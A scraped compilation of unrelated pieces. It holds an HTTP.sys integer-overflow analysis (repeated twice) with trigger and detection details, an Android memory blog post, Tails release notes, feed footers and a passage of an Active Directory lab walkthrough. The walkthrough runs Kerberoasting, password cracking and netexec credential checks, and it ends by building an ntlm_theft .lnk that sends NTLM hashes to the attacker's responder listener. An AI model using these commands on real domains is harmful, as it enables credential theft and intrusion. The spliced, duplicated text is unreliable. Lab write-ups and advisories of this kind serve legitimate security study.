A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests.

A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.

The Vulnerability

HTTP.sys is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.

When operating over HTTPS, HTTP.sys delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a per-record basis: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to HTTP.sys as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:

The decrypted payload of each TLS record is delivered independently to the HTTP parser via

UlHttpBufferReceiveEvent(), regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches HTTP.sys.

The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The capacity field stores the current number of allocated slots in the buffer reference array. The count field stores the number of slots currently in use. The ref_array_ptr field points to the dynamically allocated array of 8-byte buffer reference entries.

An integer overflow vulnerability exists in HTTP.sys. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When HTTP.sys receives data for an HTTP/1.x request, it allocates a UL_REQUEST_BUFFER structure for each receive indication and tracks these buffers in the per-request reference array described above. The count field records the number of active buffer references, and the capacity field records the total number of allocated slots.

As the HTTP parser (UlpParseNextRequest()) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When count reaches capacity, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + capacity * 8, the contents of the existing array are copied via memmove using count * 8 as the copy length, and capacity is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.

After 13,107 growth events, capacity reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, count (which is now 65,536 or greater) exceeds the zero capacity, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the memmove copies count * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.

Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and UlpMergeBuffers() further combines buffers within HTTP.sys. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through UlHttpBufferReceiveEvent() into UlpCopyIndicatedData(). If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing UlpAdjustBuffers() to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.

To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The MaxRequestBytes registry value (at HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping MaxRequestBytes at or below 65,535 bytes represents the most conservative configuration to prevent this attack.

A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.

Notes:

• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.

• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.

• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.

Source Code Walkthrough

The following code snippet was taken from HTTP.sys version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.

In UlpParseNextRequest():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.

The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.

An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:

Decrypted traffic inspection:

After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Encrypted traffic heuristics:

Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Notes:

• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.

• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.

• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.

Conclusion

This vulnerability was patched by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.

Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

Optimize image loading

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

• The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
• The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.

  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

Changes and updates

• Update Tor Browser to 15.0.11, which fixes several vulnerabilities in Firefox 140.10.1.

  We are not aware of these vulnerabilities being exploited in practice until now.

• Update Thunderbird to 140.10.0.

• Stop making it possible to start our ISO images from a USB stick.

  Since 2019, we recommend USB images to start Tails from a USB stick, which is by far the most common way of running Tails.

  We still distribute ISO images to start Tails from a DVD or in a virtual machine. Until now, these ISO images worked on USB sticks as well, but provided a degraded experience without automatic upgrades or Persistent Storage.

  Our ISO images no longer work on USB sticks to save a few megabytes and prevent confusion for people who use USB sticks.

For more details, read our changelog.

Get Tails 7.7.1

To upgrade your Tails USB stick and keep your Persistent Storage

• Automatic upgrades are available from Tails 7.0 or later to 7.7.1.

• If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a manual upgrade.

To install Tails 7.7.1 on a new USB stick

Follow our installation instructions.

To download only

If you don't need installation or upgrade instructions, you can download Tails 7.7.1 directly:

• For USB sticks (USB image)

• For DVDs and virtual machines (ISO image)

The post RC Builds of MacOS Tahoe 26.6, iOS 26.6, iPadOS 26.6 Available for Testers appeared first on OS X Daily.

Dieser Beitrag KI-gestützter Botnet-Betrieb: Gemini-CLI liefert Angreifern ein portables C&C-„Baukasten“-Modell erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Devs, this Kotlin challenge arises from a refactoring bug you might have seen. Here’s the setup: a teammate tidies up some code that builds job configurations. The build succeeds and everything looks fine. Then we check the list, and instead of the config object we expect, it holds something else. Watch the video and share what you think caused the bug!

Subscribe to Google for Developers → https://goo.gle/developers

Speakers: Anaya Mehta

Read more of this story at Slashdot.

Read the full article on GamingOnLinux.

A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests.

A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.

The Vulnerability

HTTP.sys is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.

When operating over HTTPS, HTTP.sys delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a per-record basis: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to HTTP.sys as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:

The decrypted payload of each TLS record is delivered independently to the HTTP parser via

UlHttpBufferReceiveEvent(), regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches HTTP.sys.

The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The capacity field stores the current number of allocated slots in the buffer reference array. The count field stores the number of slots currently in use. The ref_array_ptr field points to the dynamically allocated array of 8-byte buffer reference entries.

An integer overflow vulnerability exists in HTTP.sys. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When HTTP.sys receives data for an HTTP/1.x request, it allocates a UL_REQUEST_BUFFER structure for each receive indication and tracks these buffers in the per-request reference array described above. The count field records the number of active buffer references, and the capacity field records the total number of allocated slots.

As the HTTP parser (UlpParseNextRequest()) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When count reaches capacity, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + capacity * 8, the contents of the existing array are copied via memmove using count * 8 as the copy length, and capacity is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.

After 13,107 growth events, capacity reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, count (which is now 65,536 or greater) exceeds the zero capacity, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the memmove copies count * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.

Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and UlpMergeBuffers() further combines buffers within HTTP.sys. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through UlHttpBufferReceiveEvent() into UlpCopyIndicatedData(). If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing UlpAdjustBuffers() to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.

To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The MaxRequestBytes registry value (at HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping MaxRequestBytes at or below 65,535 bytes represents the most conservative configuration to prevent this attack.

A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.

Notes:

• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.

• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.

• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.

Source Code Walkthrough

The following code snippet was taken from HTTP.sys version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.

In UlpParseNextRequest():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.

The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.

An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:

Decrypted traffic inspection:

After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Encrypted traffic heuristics:

Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Notes:

• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.

• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.

• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.

Conclusion

This vulnerability was patched by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.

Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

Read the full article on GamingOnLinux.

Read the full article on GamingOnLinux.

Can an application for public service requests lead to full domain compromise? You would probably say no. But you’re wrong. And I am going to show you why.

● Discovering the service account

We were given only an IP address to start from. So I launched a scan to see which ports were open and which services were available.

rustscan -a 10.1.65.124 -- -A

I used rustscan because I like the option to pass nmap flags directly for the open ports. The scan revealed the following results:

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: City Hall - Your Local Government
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-04-07 16:20:34Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: city.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: city.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC-CC.city.local
| Issuer: commonName=DC-CC.city.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-26T17:26:36
| Not valid after:  2026-08-28T17:26:36
| MD5:   6b9a:3a36:385d:f60a:43ef:3281:cafa:50fb
| SHA-1: b9ad:bca4:bad8:52b8:732f:3307:7b4b:d035:f389:3ce2
| -----BEGIN CERTIFICATE-----
...
|_-----END CERTIFICATE-----
| rdp-ntlm-info: 
|   Target_Name: CITY
|   NetBIOS_Domain_Name: CITY
|   NetBIOS_Computer_Name: DC-CC
|   DNS_Domain_Name: city.local
|   DNS_Computer_Name: DC-CC.city.local
|   DNS_Tree_Name: city.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-07T16:21:30+00:00
|_ssl-date: 2026-04-07T16:21:41+00:00; 0s from scanner time.
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         syn-ack Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack Microsoft Windows RPC
49676/tcp open  msrpc         syn-ack Microsoft Windows RPC
49677/tcp open  msrpc         syn-ack Microsoft Windows RPC
49680/tcp open  msrpc         syn-ack Microsoft Windows RPC
49698/tcp open  msrpc         syn-ack Microsoft Windows RPC
49709/tcp open  msrpc         syn-ack Microsoft Windows RPC
49716/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC-CC; OS: Windows; CPE: cpe:/o:microsoft:windows

After adding the corresponding entries to /etc/hosts, I started with the most interesting items I found, the shared drives (port 445) and the website (port 80).

Unfortunately, anonymous login didn’t reveal any shared drive, so I had to leave that for the moment.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $smbclient -L \\\\city.local

Password for [WORKGROUP\rootshellace]:
Anonymous login successful

 Sharename       Type      Comment
 ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to city.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Since I didn’t get anything useful, I started browsing the website, looking for possible attack paths. An initial scan with gobuster revealed a sub-directory named uploads. This was useful in a later step.

Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 24118]
/uploads              (Status: 301) [Size: 149] [--> http://city.local/uploads/]
Progress: 4614 / 4615 (99.98%)

The website didn’t look very interesting until I got to a page where you could download an application, for both Linux and Windows, to submit various form requests. The executables were available here: http://city.local/documents-forms.html.

I ran strings on both files, in an attempt to find possible hard-coded elements. I found a token and something looking like a hash, but couldn’t do anything with them.

The next step I took was to simulate submitting a dummy request from the app and see what happens. Now, here is where I found the first handy item. The application had a logging screen and the name of a used service account was displayed.

[20:12:06] Application form loaded. Please complete all required fields.
[20:12:06] Service: Public Works Service Request
[20:12:06] System ready for form validation and processing.
[20:12:59] Validating application form...
[20:12:59] Connecting to City Council Directory Services...
[20:12:59] Using dedicated service account: svc_services_portal
[20:13:01] Performing LDAP bind request - Portal Service Authentication...
[20:13:02] Performing Search: citizen records database...
[20:13:03] Performing Validate: application eligibility criteria...
[20:13:04] Performing Update: service request tracking system...
[20:13:05] Performing Log: public services audit trail...
[20:13:05] Performing Verify: resident information consistency...
[20:13:06] Performing Process: automated workflow routing...
[20:13:07] Performing Update: municipal service database...
[20:13:07] Authenticating service account with DC-CC.city.local...
[20:13:07] ✓ Directory service authentication completed
[20:13:07] ✓ Application validated successfully
[20:13:07] ✓ Service request processed and logged
[20:13:07] ✓ Workflow routing completed
[20:13:07] ✓ Database update successful

I tested svc_services_portal user with an empty password. The test failed, but it confirmed I got a valid user.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $netexec smb city.local -u svc_services_portal -p ''

SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.65.124    445    DC-CC            [-] city.local\svc_services_portal: STATUS_LOGON_FAILURE 

● Obtaining the password for the service account

I initially tried to use as a password the token I found using strings, but it didn’t work. So, how do we get the password?

Since the authentication was done automatically when executing the app locally, I intercepted the traffic using Wireshark, then followed the corresponding stream and got the password for the service account.

I tested the credential pair and got the confirmation that they are valid.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $netexec smb city.local -u svc_services_portal -p <REDACTED>
SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.65.124    445    DC-CC            [+] city.local\svc_services_portal:<REDACTED> 

● Get the Active Directory structure using BloodHound

Having a valid pair of credentials, I used it to get an idea of how Active Directory was structured for that entity.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $bloodhound-python -u svc_services_portal -p <REDACTED> -ns 10.1.65.124 -d city.local -c All

Once I obtained the archive containing the .json files, I imported it in BloodHound. I checked if svc_services_portal had any interesting permissions or was part of any useful groups, but nothing came up.

This account looked like a dead end, so I moved on checking if there were any Kerberoastable users. I found clerk.john.

● Get access as clerk.john

The first step was to get the Kerberos hash for this user. I used GetUserSPNs script from impacket.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $impacket-GetUserSPNs city.local/svc_services_portal:<REDACTED> -dc-ip 10.1.65.124 -request

Once I got it, I passed it to john to crack it.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt john_clerk_hash_krb.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED>        (?)     
1g 0:00:00:02 DONE (2026-04-07 21:37) 0.3816g/s 729306p/s 729306c/s 729306C/s clouds96..clenol
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

To make sure the password was OK, I tested the credentials.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $netexec smb city.local -u clerk.john -p <REDACTED>
SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.65.124    445    DC-CC            [+] city.local\clerk.john:<REDACTED> 

I went back to BloodHound to verify this new user, but it didn’t have any useful access.

● Get access as jon.peters

Because BloodHound didn’t reveal any lead, I went back to the shared drives and enumerated again, this time as clerk.john.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $smbclient -L \\city.local -U clerk.john
Password for [WORKGROUP\clerk.john]:

 Sharename       Type      Comment
 ---------       ----      -------
 ADMIN$          Disk      Remote Admin
 Backups         Disk      
 C$              Disk      Default share
 IPC$            IPC       Remote IPC
 NETLOGON        Disk      Logon server share 
 SYSVOL          Disk      Logon server share 
 Uploads         Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to city.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Well, better than anonymous login, at least I had something to work with. On Backups drive I got a Permission Denied error when attempting to connect, but I was able to map the Uploads directory. Inside, among other files, I found an email from Emma Hayes. It was mentioned that write access was granted to Jon Peters on this drive and NTLM authentication was used.

The next step was to start a listener, with responder, on the VPN interface I was using for the challenge.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $sudo responder -I tun0

Then, I created a fake .lnk file, using ntlm_theft.py - available here

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $python3 ~/Tools/ntlm_theft/ntlm_theft.py -g lnk -s <MY_VPN_IP> -f fake_note

